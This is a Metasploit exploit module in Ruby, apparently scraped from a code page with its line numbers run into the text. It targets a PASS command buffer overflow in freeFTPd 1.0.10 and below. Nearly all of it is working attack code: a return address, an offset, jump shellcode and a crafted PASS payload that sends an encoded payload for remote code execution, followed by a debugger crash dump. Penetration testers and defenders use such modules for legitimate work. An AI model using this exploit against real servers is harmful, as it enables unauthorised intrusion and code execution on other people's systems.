Path: blob/master/modules/exploits/windows/ftp/freeftpd_pass.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => "freeFTPd PASS Command Buffer Overflow",15'Description' => %q{16freeFTPd 1.0.10 and below contains an overflow condition that is triggered as17user-supplied input is not properly validated when handling a specially crafted18PASS command. This may allow a remote attacker to cause a buffer overflow,19resulting in a denial of service or allow the execution of arbitrary code.2021freeFTPd must have an account set to authorization anonymous user account.22},23'License' => MSF_LICENSE,24'Author' => [25'Wireghoul', # Initial discovery, PoC26'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module27],28'References' => [29['OSVDB', '96517'],30['EDB', '27747'],31['BID', '61905']32],33'Payload' => {34'BadChars' => "\x00\x0a\x0d",35},36'Platform' => 'win',37'Arch' => ARCH_X86,38'Targets' => [39[40'freeFTPd 1.0.10 and below on Windows Desktop Version',41{42'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]43'Offset' => 801,44}45],46],47'Privileged' => false,48'DisclosureDate' => '2013-08-20',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options([59OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ], fallbacks: ['USERNAME']),6061])6263# We're triggering the bug via the PASS command, no point to have pass as configurable64# option.65deregister_options('FTPPASS')66end6768def check69connect70disconnect7172# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"73# when banner grabbing.74if banner =~ /freeFTPd 1\.0/75return Exploit::CheckCode::Appears76else77return Exploit::CheckCode::Safe7879end80end8182def exploit83connect84print_status("Trying target #{target.name} with user #{user()}...")8586off = target['Offset'] - 98788bof = payload.encoded89bof << rand_text(off - payload.encoded.length)90bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string91bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string92bof << rand_text(2)93bof << [target.ret].pack('V')9495send_user(datastore['FTPUSER'])96raw_send("PASS #{bof}\r\n")97disconnect98end99end100101=begin102(c78.ea4): Access violation - code c0000005 (first chance)103First chance exceptions are reported before any exception handling.104This exception may be expected and handled.105eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18106eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc107cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206108OLEAUT32!SysFreeString+0x55:10976c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=????????110111FAULTING_IP:112OLEAUT32!SysFreeString+5511376c23e8d ff36 push dword ptr [esi]114115EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)116ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)117ExceptionCode: c0000005 (Access violation)118ExceptionFlags: 00000000119NumberParameters: 2120Parameter[0]: 00000000121Parameter[1]: 4141413d122Attempt to read from address 4141413d123=end124125126